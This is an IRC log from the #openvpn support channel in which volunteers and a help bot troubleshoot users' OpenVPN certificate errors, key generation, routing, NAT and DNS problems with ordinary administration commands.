19:43 -!- GGD [~GGD@2600:1003:b00d:94a8:86a6:c8ff:fe7c:861b] has joined #openvpn
19:43 < GGD> back
19:44 < GGD> pekster are you here?
19:44 < pekster> !ask
19:44 <@vpnHelper> "ask" is don't ask to ask, just ask your question please, see this link for how to get help on IRC: http://workaround.org/getting-help-on-irc
19:44 < GGD> sorry
19:44 < GGD> i did that command and i am getting the reseting command
19:45 < pekster> Also not helpful
19:45 < pekster> Logs would be
19:45 < pekster> "getting the reseting command" doesn't mean anything to me
19:46 < GGD> where can i see these logs?  i am in var logs but i dont see anything that resembles an openvpn log
19:46 < pekster> !logfile
19:46 <@vpnHelper> "logfile" is (#1) openvpn will log to syslog if started in daemon mode. You can manually specify a logfile with: log /path/to/logfile or (#2) verb 3 is good for everyday usage, verb 5 for debugging or (#3) see --daemon --log and --verb in the manual (!man) for more info or (#4) without any log-redirection options, openvpn sends output to stdout. Explicit logging is often more convenient
19:49 < GGD> dang it arrgh
19:51 -!- raidz is now known as raidz_away
19:58 -!- dioz [~dioz@2001:470:d:e3::1] has quit [Ping timeout: 246 seconds]
19:59 -!- dioz [~dioz@2001:470:d:e3::1] has joined #openvpn
20:02 < GGD> odd its looking for TLS but i don't have TLS enabled yet..
20:06 < GGD> pekster: this is what i get when i run that conf   http://fpaste.org/zDE6/
20:10 < pekster> Self-signed cert error, line 13
20:11 -!- elc0 [~andy@c-71-205-251-207.hsd1.mi.comcast.net] has quit [Ping timeout: 258 seconds]
20:11 < GGD> self signed cert error?  odd  i just did it
20:11 < GGD> and reloaded it
20:12 < GGD> *puzzled look*
20:12 < pekster> Why did you mask out the CN? That's not really helpful since it might explain the problem. That should simply contain the CA name
20:14 < pekster> Did you somehow use a self-signed entity certificate in place of a ca line? Posting your configs might help (I might need to follow-up with some openssl commands to see *why* the cert validation fails)
20:14 < pekster> !configs
20:15 <@vpnHelper> "configs" is (#1) please pastebin your client and server configs (with comments removed, you can use `grep -vE '^#|^;|^$' server.conf`), also include which OS and version of openvpn. or (#2) dont forget to include any ccd entries or (#3) on pfSense, see http://www.secure-computing.net/wiki/index.php/OpenVPN/pfSense to obtain your config
20:16 < GGD> CN=david._eberle/
20:16 < pekster> That's what you named your CA?
20:16 < pekster> Or is that an entity cert?
20:16 < pekster> depth=1 is usually the *CA* cert, so something is wrong if that's the CN you expected to find on your user cert
20:17 < pekster> (for the record, this is why trying to "hide" that stuff is generally bad, since it makes getting help harder. Also note that any attacker watching your traffic can see all the cert info anyway, so it's not a secret or secure)
20:17 < GGD> i think is what i put in my entity cert...
20:17 < GGD> ok i wasn't sure
20:17 < GGD> my appologies
20:18 < pekster> No worries, lots of people do it, but do it enough in a row and eventually people stop trying to help ;)
20:18 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Quit: Computer has gone to sleep.]
20:18 < pekster> Anyway, is the file listed in your "ca" directive actually your ca.crt?
20:18 < pekster> And if so, maybe it's been named wrong? Check what it is with this command: `openssl x509 -in ca.crt -noout -text` (do this on the PC generating that logfile you posted)
20:19 < pekster> It should be your CA cert, *not* the cert issued to the entity
20:19 -!- madroach [fu5vzpk9xh@stgt-d9be5b77.pool.mediaWays.net] has quit [Ping timeout: 248 seconds]
20:20 < GGD> Error opening Certificate ca.crt
20:20 < GGD> 139955435497312:error:02001002:system library:fopen:No such file or directory:bss_file.c:398:fopen('ca.crt','r')
20:20 < GGD> 139955435497312:error:20074002:BIO routines:FILE_CTRL:system lib:bss_file.c:400:
20:20 < GGD> unable to load certificate
20:20 < pekster> You need to point to the cert file you're using in your configuration
20:21 -!- madroach [eqdthpnw04@stgt-d9be5d55.pool.mediaWays.net] has joined #openvpn
20:21 -!- elc0 [~andy@c-71-205-251-207.hsd1.mi.comcast.net] has joined #openvpn
20:21 < GGD> ok so i need to put the fully path?
20:21 < GGD> full
20:22 < pekster> Or a relative one
20:22 < GGD> ok
20:22 < pekster> Like any command at a prompt, it needs to locate the file you give it
20:23 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
20:24 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has quit [Remote host closed the connection]
20:27 -!- GabrieleV [~GabrieleV@host190-79-static.230-95-b.business.telecomitalia.it] has quit [Ping timeout: 246 seconds]
20:29 < GGD> ok i did that
20:30 < GGD> i placed it in the etc/openvpn folder and pointed the conf file to that
20:30 -!- GabrieleV [~GabrieleV@host190-79-static.230-95-b.business.telecomitalia.it] has joined #openvpn
20:30 < pekster> ?
20:31 < pekster> OpenVPN should refuse to start up without a 'ca' file. What were you using before?
20:33 < pekster> This should all be explained in the howto. Maybe the part about creating and using the PKI files got neglected during your setup?
20:33 < pekster> !howto
20:33 <@vpnHelper> "howto" is (#1) OpenVPN comes with a great howto, http://openvpn.net/howto PLEASE READ IT! or (#2) http://www.secure-computing.net/openvpn/howto.php for a mirror
20:34 < GGD> i used that file
20:34 < GGD> i have a ca
20:34 < GGD> file
20:35 < GGD> omv-ca.crt
20:36 < pekster> Based on the log output, the CA is not what it's supposed to be, more so becuase your CN doesn't match your CA, but the user cert as you said earlier
20:36 < pekster> Let's try one more time
20:36 < pekster> Post your config on that system so we can look at how your CA got messed up. That is, the system that's spewing that cert vlidation error
20:37 < GGD> ok hold on
20:37 < GGD> from the server?
20:38 < pekster> Was your log that you posted from the server? It sure doesn't look like it since line 2 references 'omv-client.key'
20:41 -!- GGD [~GGD@2600:1003:b00d:94a8:86a6:c8ff:fe7c:861b] has quit [Ping timeout: 256 seconds]
20:43 -!- GGD [~GGD@pool-173-72-253-89.clppva.fios.verizon.net] has joined #openvpn
20:46 -!- ponyofdeath [~vladi@cpe-75-80-173-129.san.res.rr.com] has quit [Quit: leaving]
21:11 -!- sauce [sauce@unaffiliated/sauce] has quit [Quit: sauce]
21:12 -!- elc0 [~andy@c-71-205-251-207.hsd1.mi.comcast.net] has quit [Quit: Ex-Chat]
21:29 -!- GGD [~GGD@pool-173-72-253-89.clppva.fios.verizon.net] has quit [Ping timeout: 248 seconds]
21:42 -!- mnathani [~mnathani@198-84-231-11.cpe.teksavvy.com] has joined #openvpn
21:45 -!- smerz_ [~smerz@a177088.upc-a.chello.nl] has quit [Ping timeout: 258 seconds]
22:06 -!- GabrieleV [~GabrieleV@host190-79-static.230-95-b.business.telecomitalia.it] has quit [Ping timeout: 256 seconds]
22:08 -!- GabrieleV [~GabrieleV@host190-79-static.230-95-b.business.telecomitalia.it] has joined #openvpn
22:37 -!- Carbon_Monoxide [~cmonxide@116.92.14.130] has joined #openvpn
22:45 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
22:54 -!- mchou_ [~quassel@unaffiliated/mchou] has quit [Remote host closed the connection]
22:56 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Quit: Computer has gone to sleep.]
23:01 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
23:06 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Remote host closed the connection]
23:08 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
23:37 -!- Carbon_Monoxide [~cmonxide@116.92.14.130] has quit [Ping timeout: 264 seconds]
23:42 -!- me0615 [~me0615@122.2.46.76] has joined #openvpn
23:43 < me0615> good day. can we use lport and rport in the server config?
23:53 < Eugene> lport yes. rport does not make sense in a tls-server context.
23:53 < me0615> i see.
23:54 < me0615> how to determine what is the best txqueuelen for wireless connection?
--- Day changed Fri Apr 12 2013
00:06 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Ping timeout: 245 seconds]
00:07 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
00:08 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 264 seconds]
00:13 -!- me0615 [~me0615@122.2.46.76] has quit []
00:16 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
00:38 -!- Carbon_Monoxide [~cmonxide@116.92.14.130] has joined #openvpn
00:40 -!- Carbon_Monoxide [~cmonxide@116.92.14.130] has quit [Client Quit]
00:47 -!- jzaw [~jzaw@revo.dzki.co.uk] has joined #openvpn
00:53 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Read error: Connection reset by peer]
00:54 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
00:55 -!- Carbon_Monoxide [~cmonxide@116.92.14.130] has joined #openvpn
01:01 <@krzee> !ping
01:01 <@vpnHelper> pong
01:05 -!- Carbon_Monoxide [~cmonxide@116.92.14.130] has quit [Quit: Leaving]
01:21 -!- Carbon_Monoxide [~cmonxide@116.92.14.130] has joined #openvpn
01:21 < Boichev> what can be the problem on Centos 6 I'm using the easy-rsa wrapper to generate the keys ... all server keys got normal (the server works) but the client crt file i 0 bytes.... , the key file is normal... :?
01:28 -!- mikkel [~mikkel@80-198-36-38-static.dk.customer.tdc.net] has joined #openvpn
01:31 -!- Carbon_Monoxide [~cmonxide@116.92.14.130] has quit [Quit: Leaving]
01:33 -!- hive-mind [pranq@unaffiliated/contempt] has quit [Ping timeout: 255 seconds]
01:33 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
01:36 -!- hive-mind [pranq@unaffiliated/contempt] has joined #openvpn
01:37 -!- Carbon_Monoxide [~cmonxide@116.92.14.130] has joined #openvpn
01:57 < DrCode> hi all
01:58 < DrCode> I don't remmber ho I did creat my openvpn key
01:58 < DrCode> I have ca,cert,key
01:59 < DrCode> I want to make new key ,  I just need to run
01:59 < DrCode> 	##openvpn --genkey --secret /home/user/key.txt  and use both ca,cert?
02:31 <@krzee> !pki
02:31 <@vpnHelper> "pki" is (#1) http://openvpn.net/index.php/open-source/documentation/howto.html#pki for how to make your PKI stuff (ca, and certs) or (#2) Heres a basic rundown of how it works... The server, client, and ca certs are all signed by the same ca.key. The server and client use the ca.crt to check that eachother were signed by the right ca.key. Optionally, the client also checks that the server cert was
02:31 <@vpnHelper> signed specially as a server (see !servercert)
02:32 -!- sauce [sauce@unaffiliated/sauce] has joined #openvpn
02:32 -!- sauce [sauce@unaffiliated/sauce] has quit [Excess Flood]
02:40 < DrCode> ok
02:41 < DrCode> my server using ca.crt and ta.crt
02:41 < DrCode> how can I config easy-rsa , it seems that it look for ca.crt and ca.key
02:41 < DrCode> ta.key  , sorry tls-auth
02:42 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Quit: Computer has gone to sleep.]
02:45 < DrCode> sorry
02:45 < DrCode> my mistake
02:45 < DrCode> I have found ca.crt and ca.key on my server, I just build it in other machine
02:50 < DrCode> it working , thankyou
02:50 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
02:57 < DrCode> If I use push route in my server, how can I tell client to know those subnet?
03:01 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Quit: Computer has gone to sleep.]
03:09 -!- dazo_afk is now known as dazo
03:09 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Remote host closed the connection]
03:13 -!- TomM_ is now known as TommehM
03:34 -!- kubbing_ [~kubbing@gprs30.vodafone.cz] has joined #openvpn
03:37 <@krzee> !serverlan
03:37 <@vpnHelper> "serverlan" is (#1) for a lan behind a server, the server must have ip forwarding enabled (!ipforward), the server needs to push a route for its lan to clients, and the router of the lan the server is on needs a route added to it (!route_outside_openvpn) or (#2) see !route for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/serverlan.png
03:47 -!- kubbing_ [~kubbing@gprs30.vodafone.cz] has quit [Remote host closed the connection]
04:04 < Martin`> and I have a stupid route which can not add static routes :(
04:04 < Martin`> router
04:22 -!- BadCodSmell [~BadCodSme@pdpc/supporter/professional/badcodsmell] has joined #openvpn
04:23 -!- kubbing [~kubbing@ip-89-176-96-114.net.upcbroadband.cz] has joined #openvpn
04:23 < BadCodSmell> "Beginning OpenVPN 2.0.9" is this a real book?
04:23 < BadCodSmell> Is there one for 2.2?
04:30 < Martin`> !nathack
04:30 <@vpnHelper> "nathack" is see https://community.openvpn.net/openvpn/wiki/NatHack for info on how to solve the problem when you need !route_outside_ovpn but cant add a route to the gateway or the lan machines
04:30 < Martin`> Was also thinking about that, but it is stupid :(
04:31  * Martin` kicks his router
04:34 -!- tjz [~tjz@unaffiliated/tjz] has quit [Ping timeout: 245 seconds]
04:39 -!- BadCodSmell [~BadCodSme@pdpc/supporter/professional/badcodsmell] has quit [Remote host closed the connection]
04:39 -!- BadCodSmell [~BadCodSme@host81-149-71-228.in-addr.btopenworld.com] has joined #openvpn
04:39 -!- BadCodSmell [~BadCodSme@host81-149-71-228.in-addr.btopenworld.com] has quit [Changing host]
04:40 -!- BadCodSmell [~BadCodSme@pdpc/supporter/professional/badcodsmell] has joined #openvpn
04:47 -!- brute11k1 [~brute@89.249.235.220] has joined #openvpn
04:48 -!- brute11k [~brute@89.249.235.220] has quit [Ping timeout: 264 seconds]
04:49 <@dazo> !book
04:49 <@vpnHelper> "book" is http://www.packtpub.com/openvpn-2-cookbook/book check out JJK's awesome cookbook for openvpn 2!
04:49 <@dazo> BadCodSmell: ^^^
04:50 <@dazo> that covers more recent versions ... 2.1 and 2.2 (which are rather similar)
04:51 <@dazo> 2.3 isn't that far away from 2.3 either, except of some new options, ability to use PolarSSL instead of OpenSSL and complete IPv6 support ... to mention a few things
04:51 <@dazo> 2.3 isn't that far away from *2.2*
04:52 -!- brute11k1 [~brute@89.249.235.220] has quit [Ping timeout: 245 seconds]
04:58 -!- brute11k [~brute@89.249.235.220] has joined #openvpn
05:07 -!- brute11k1 [~brute@89.249.235.220] has joined #openvpn
05:08 -!- brute11k [~brute@89.249.235.220] has quit [Ping timeout: 260 seconds]
05:12 -!- brute11k [~brute@89.249.235.220] has joined #openvpn
05:12 -!- brute11k1 [~brute@89.249.235.220] has quit [Ping timeout: 248 seconds]
05:12 -!- me0615 [~AndChat23@122.2.46.76] has joined #openvpn
05:13 < me0615> i would like to ask how was my ip able to block my ping to server i always got request timeout
05:14 -!- brute11k1 [~brute@89.249.235.220] has joined #openvpn
05:14 -!- tjz [~tjz@unaffiliated/tjz] has joined #openvpn
05:16 -!- brute11k [~brute@89.249.235.220] has quit [Ping timeout: 252 seconds]
05:17 -!- Carbon_Monoxide [~cmonxide@116.92.14.130] has quit [Quit: Leaving]
05:18 < Martin`> books are overrated. everything you need is on the internet :P
05:23 < madroach> hi, whats the difference between the android OpenVPN connector and the one from Arne Schwabe?
05:29 -!- me0615 [~AndChat23@122.2.46.76] has quit [Quit: Bye]
05:33 -!- Sidewinder [~de@unaffiliated/sidewinder] has joined #openvpn
05:41 -!- samael [~earendil@multivac.valis-e.com] has quit [Quit: brb]
05:42 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Ping timeout: 255 seconds]
05:48 -!- mitz__ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
05:50 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 252 seconds]
05:55 -!- kubbing_ [~kubbing@ip-89-176-96-114.net.upcbroadband.cz] has joined #openvpn
05:56 -!- kubbing [~kubbing@ip-89-176-96-114.net.upcbroadband.cz] has quit [Ping timeout: 256 seconds]
05:59 -!- takamichi [~takamichi@217.23.15.212] has joined #openvpn
06:07 <@krzee> madroach, the one by arne is a community release, opensource.  the one by openvpn technologies is closed source so far, and released by openvpn tech
06:07 <@krzee> personally i use arne's, i was using it before the corp version was released. but others here use the official release, and like it
06:08 <@krzee> arne is one of the openvpn developers so its really just as good
06:10 -!- Sidewinder [~de@unaffiliated/sidewinder] has quit [Quit: Leaving]
06:28 -!- mitz__ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 248 seconds]
06:29 -!- takamichi [~takamichi@217.23.15.212] has quit [Ping timeout: 260 seconds]
06:30 -!- Steph3000 [~steph@LNantes-156-75-100-31.w80-12.abo.wanadoo.fr] has joined #openvpn
06:32 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
06:33 < madroach> krzee: thanks, that was helpful.
06:33 <@krzee> yw
06:34 -!- krzee [~k@openvpn/community/support/krzee] has left #openvpn ["Leaving"]
06:34 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn
06:34 -!- mode/#openvpn [+o krzee] by ChanServ
06:36 -!- pyrobisqit [~pyrobisqi@208.68.39.44] has quit [Quit: leaving]
06:40 -!- pyrobisqit [~pyrobisqi@208.68.39.44] has joined #openvpn
06:54 -!- Boichev [~Boichev@31.13.221.124] has quit [Quit: Leaving]
06:58 -!- kubbing [~kubbing@ip-89-176-96-114.net.upcbroadband.cz] has joined #openvpn
06:58 -!- kubbing_ [~kubbing@ip-89-176-96-114.net.upcbroadband.cz] has quit [Read error: Connection reset by peer]
06:59 -!- BadCodSmell [~BadCodSme@pdpc/supporter/professional/badcodsmell] has quit [Remote host closed the connection]
06:59 -!- BadCodSmell [~BadCodSme@pdpc/supporter/professional/badcodsmell] has joined #openvpn
07:03 -!- mitz__ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
07:25 -!- Cpt-Oblivious [~cpt-obliv@a202101.upc-a.chello.nl] has joined #openvpn
07:26 -!- JackWinter [~jack@vodsl-9778.vo.lu] has quit [Ping timeout: 245 seconds]
07:29 -!- JackWinter [~jack@vodsl-9778.vo.lu] has joined #openvpn
07:32 -!- master_o1_master [~master_of@p4FF24F03.dip.t-dialin.net] has quit [Read error: Operation timed out]
07:33 -!- kls [~kls@198.211.125.123] has joined #openvpn
07:35 -!- master_of_master [~master_of@p4FF242B7.dip.t-dialin.net] has joined #openvpn
07:35 -!- kls [~kls@198.211.125.123] has left #openvpn []
07:45 -!- Sickness\ [~stront@unaffiliated/s-work] has quit [Read error: Operation timed out]
07:50 -!- BadCodSmell [~BadCodSme@pdpc/supporter/professional/badcodsmell] has quit [Remote host closed the connection]
07:50 -!- BadCodSmell [~BadCodSme@host81-149-71-228.in-addr.btopenworld.com] has joined #openvpn
07:50 -!- BadCodSmell [~BadCodSme@host81-149-71-228.in-addr.btopenworld.com] has quit [Changing host]
07:50 -!- BadCodSmell [~BadCodSme@pdpc/supporter/professional/badcodsmell] has joined #openvpn
08:10 -!- madroach [eqdthpnw04@stgt-d9be5d55.pool.mediaWays.net] has quit [Quit: leaving]
08:22 -!- LEDfan [~quassel@94-226-126-193.access.telenet.be] has joined #openvpn
08:23 -!- BadCodSmell [~BadCodSme@pdpc/supporter/professional/badcodsmell] has quit [Remote host closed the connection]
08:23 -!- BadCodSmell [~BadCodSme@host81-149-71-228.in-addr.btopenworld.com] has joined #openvpn
08:23 -!- BadCodSmell [~BadCodSme@host81-149-71-228.in-addr.btopenworld.com] has quit [Changing host]
08:23 -!- BadCodSmell [~BadCodSme@pdpc/supporter/professional/badcodsmell] has joined #openvpn
08:35 -!- mitz__ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Remote host closed the connection]
08:36 -!- mitz__ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
08:43 -!- roue [~roue@96-42-92-237.dhcp.roch.mn.charter.com] has quit [Ping timeout: 248 seconds]
08:56 -!- me0615 [~AndChat23@122.2.46.76] has joined #openvpn
08:57 < me0615> why does my isp blocked ping? whats the advantage n disadvantage of doing it?
09:01 < rob0> You'd have to ask them why. Advantage: it make ignorant network managers feel important and "secure". Disadvantages are many, such as inability to use a basic network troubleshooting tool, and compounded if it's not just ping, but all ICMP.
09:03 -!- sickness\ [~stront@wolfenstein.enemyterritory.org] has joined #openvpn
09:03 -!- sickness\ [~stront@wolfenstein.enemyterritory.org] has quit [Changing host]
09:03 -!- sickness\ [~stront@unaffiliated/s-work] has joined #openvpn
09:08 -!- d33tah [~d33tah@212.191.72.35] has quit [Ping timeout: 276 seconds]
09:09 -!- JackSparrow [~death@2001:41d0:1:d4e5:dead::42] has quit [Ping timeout: 245 seconds]
09:10 -!- mitz__ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Read error: Connection reset by peer]
09:11 -!- JackSparrow [~death@2001:41d0:1:d4e5:dead::42] has joined #openvpn
09:13 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
09:14 -!- mikkel [~mikkel@80-198-36-38-static.dk.customer.tdc.net] has quit [Quit: Leaving]
09:18 < kisom> me0615: Are you sure it's blocked on ISP level and not just in your firewall/home router?
09:18 < kisom> My cheap dlink blocks incomming ICMP by default at least.
09:19 -!- JackSparrow [~death@2001:41d0:1:d4e5:dead::42] has quit [Ping timeout: 245 seconds]
09:19 < me0615> kisom i am sure bcoz i dont hav firewall on my end
09:21 -!- BadCodSmell [~BadCodSme@pdpc/supporter/professional/badcodsmell] has quit [Remote host closed the connection]
09:22 -!- BadCodSmell [~BadCodSme@pdpc/supporter/professional/badcodsmell] has joined #openvpn
09:28 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Quit: WeeChat 0.4.0]
09:28 -!- JackSparrow [~death@2001:41d0:1:d4e5:dead::42] has joined #openvpn
09:32 -!- me0615 [~AndChat23@122.2.46.76] has quit [Quit: Bye]
09:41 -!- mattock is now known as mattock_afk
09:42 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
09:44 -!- MadTBone [~MadTBone@160.39.238.196] has quit [Quit: Leaving]
09:52 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
09:53 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 258 seconds]
09:56 -!- rgoodwin [~rgoodwin@2001:4800:780e:510:316c:b219:ff04:781c] has joined #openvpn
09:56 < rgoodwin> !welcome
09:56 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
09:56 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
09:58 < rgoodwin> !goal I have setup openVPN on an OpenVZ ubuntu server with a public IPv4. Using Tunnelblick on OSX for client. Can connect and ping the 10.8.0.1 address from client. Have tried setting forwarding (both sysctl and iptables) on server but traffic is not forwarding to internet
09:58 < rgoodwin> !howto
09:58 <@vpnHelper> "howto" is (#1) OpenVPN comes with a great howto, http://openvpn.net/howto PLEASE READ IT! or (#2) http://www.secure-computing.net/openvpn/howto.php for a mirror
09:59 < rgoodwin> !redirect
09:59 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
09:59 <@vpnHelper> http://ircpimps.org/redirect.png
09:59 < rgoodwin> !ipforward
09:59 <@vpnHelper> "ipforward" is (#1) please choose between !linipforward !winipforward !osxipforward and !fbsdipforward or (#2) ip forwarding is needed any time you want packets to flow from 1 interface to another, so from tun to eth, eth to tun, tun to tun, etc etc. it must be enabled in the kernel AND allowed in the firewall
10:00 < rgoodwin> ok brb while i try al these helpful tips :)
10:03 < rgoodwin> !nat
10:03 <@vpnHelper> "nat" is (#1) http://openvpn.net/howto.html#redirect for an explanation of NAT as it applies to openvpn or (#2) http://www.secure-computing.net/wiki/index.php/OpenVPN/FAQ#Traffic_forwarding_doesn.27t_work_when_using_client_specific_access_rules or (#3) dont forget to turn on ip forwarding or (#4) please choose between !linnat !winnat and !fbsdnat for specific howto
10:04 < rgoodwin> !linnat
10:04 <@vpnHelper> "linnat" is (#1) for a basic iptables NAT where 10.8.0.x is the vpn network: iptables -t nat -A POSTROUTING -s 10.8.0.0/24 -o eth0 -j MASQUERADE or (#2) to choose what IP address to NAT as, you can use iptables -t nat -I POSTROUTING -o eth0 -j SNAT --to <IP ADDRESS> or (#3) http://netfilter.org/documentation/HOWTO//NAT-HOWTO.html for more info or (#4) openvz see !openvzlinnat
10:04 < rgoodwin> !openvzlinnat
10:04 <@vpnHelper> "openvzlinnat" is since openvz cant do NAT inside containers, use iptables -t nat -A PREROUTING -i tun0 -j DNAT --to-destination <container.ip>
10:06 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
10:06 -!- pieterm [~pieterm@mail1.bbdo.be] has joined #openvpn
10:08 < rgoodwin> ok wow major projgress. can now ping 8.8.8.8
10:08 < rgoodwin> but dns not working from client
10:09 < rgoodwin> (directing all traffic through vpn)
10:09 < pekster> !pushdns
10:09 <@vpnHelper> "pushdns" is (#1) push "dhcp-option DNS a.b.c.d" to push dns to the client or (#2) http://thread.gmane.org/gmane.network.openvpn.user/25139/focus=25147 see that mail archive for some info on pushing dns or (#3) http://article.gmane.org/gmane.network.openvpn.user/25149 for a perm fix via regedit or (#4) in unix you'll use the update-resolv-conf script or (#5) also
10:09 <@vpnHelper> http://comments.gmane.org/gmane.network.openvpn.user/31975 reports --register-dns as fixing their problems pushing DNS to windows 7
10:09 -!- BadCodSmell [~BadCodSme@pdpc/supporter/professional/badcodsmell] has quit [Remote host closed the connection]
10:10 -!- BadCodSmell [~BadCodSme@host81-149-71-228.in-addr.btopenworld.com] has joined #openvpn
10:10 -!- BadCodSmell [~BadCodSme@host81-149-71-228.in-addr.btopenworld.com] has quit [Changing host]
10:10 -!- BadCodSmell [~BadCodSme@pdpc/supporter/professional/badcodsmell] has joined #openvpn
10:10 < rgoodwin> thanks pekster, i have that set to push the opendns default servers. let me go back and try a trace route while connected to make sure i'm pinging/routing through the vpn
10:13 -!- vpopov [~happylife@dyn-32-176.fttbee.kis.ru] has joined #openvpn
10:15 < rgoodwin> ok. a ping to 8.8.8.8 shows one hop, i assume straight to the vpn
10:15 < rgoodwin> err a traceroute
10:15 < rgoodwin> let me hop back on and see if dns is getting set
10:19 < rgoodwin> ok i can confirm that connecting switches my resolv.conf to the pushed DNS
10:20 < rgoodwin> but client still can't resolve (OSX, Tunnelblick)
10:20 < rgoodwin> that's a head scratcher :)
10:21 < kisom> rgoodwin: Does tcpdump show anything on the server side?
10:21 < pekster> Mac client? From the terminal, when connected, try `dig @8.8.8.8 google.com` and see what you get
10:21 < rgoodwin> push "redirect-gateway def1 bypass-dhcp" btw is in my server.conf
10:22 < rgoodwin> kisom pekster let me try both of those. sorry i have to keep hopping on/off :)
10:23 -!- pieterm [~pieterm@mail1.bbdo.be] has quit [Ping timeout: 245 seconds]
10:24 < rgoodwin> kisom: tcpdump shows a ton of traffic between my client and the server
10:24 < rgoodwin> pekster: dig results: http://pastebin.com/LMnmEgsy
10:24 < kisom> But anything on DNS?
10:25 < rgoodwin> can i just | grep 'DNS' or similar to filter it?
10:25 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Ping timeout: 256 seconds]
10:25 -!- hg_5__ [~chatzilla@91.234.245.245] has joined #openvpn
10:25 < kisom> tcpdump -i tun0 udp port 53
10:26 < rgoodwin> interestingly enough, i had also some built in VPNs setup (PPTP and L2TP) to a different server, that it thought used to work, but as of a couple of days ago they didn't either. may be totally unrelated but trying to give you all the dta
10:26 < rgoodwin> data
10:26 < rgoodwin> k let me try that
10:27 < rgoodwin> ok i can confirm dns requests are coming in, but seeing REFUSED a lot. http://pastebin.com/aZib8yRZ
10:28 < rgoodwin> and by my other VPN's "not working", i meant similar thing happening. connect, but not able to resolve through them. but don't want to confuse the current troubleshooting. just FYI
10:28 < pekster> rgoodwin: That output means the you reached the server (or I suppose something pretending to be and rejecting the traffic) but refusing your DNS query
10:28 < pekster> rgoodwin: Hang on, you said your traceroute was "one hop" -- that should never be accurate unless your VPN *server* is 8.8.8.8
10:29 < rgoodwin> pekster: correct that's how it looked.
10:29 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
10:29 < rgoodwin> i can change the pushed dns to google and see what happens
10:29 < pekster> Maybe DNS traffic is getting redirected or otherwise lost or not sent?
10:30 -!- vpopov [~happylife@dyn-32-176.fttbee.kis.ru] has quit [Ping timeout: 276 seconds]
10:30 -!- hg_5__ [~chatzilla@91.234.245.245] has quit [Ping timeout: 252 seconds]
10:33 < pekster> Oh, and don't use OpenDNS
10:33 < pekster> !opendns
10:33 <@vpnHelper> "opendns" is You should avoid using OpenDNS for pushed DNS servers as they violate spec and send you to ad/search domains for mistyped URLs. Use GoogleDNS instead. See !dns for more info.
10:34 < rgoodwin> ok i switched to google, restarted openvpn
10:35 < rgoodwin> same thing, just refused from google now :)
10:35 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Ping timeout: 276 seconds]
10:35 < pekster> Fix your trace only being "one hop" long
10:35 < pekster> Sounds like it's getting redirected or hijcked before it ever gets there
10:39 < rgoodwin> not sure if thats it but i think i found the dns issue
10:40 < rgoodwin> nslookup while connected of google.com shows google.com.openvpn  . resolv.conf shows search openvpn being added when tunnel activated
10:42 < pekster> `dig` won't use resolv.conf with the @syntax
10:42 < pekster> Your earlier paste to 8.8.8.8 clearly showed a FQDN request for "google.com." (note the trailing dot)
10:43 < rob0> nslookup is buggy and broken. Don't use it.
10:43 < rgoodwin> ah
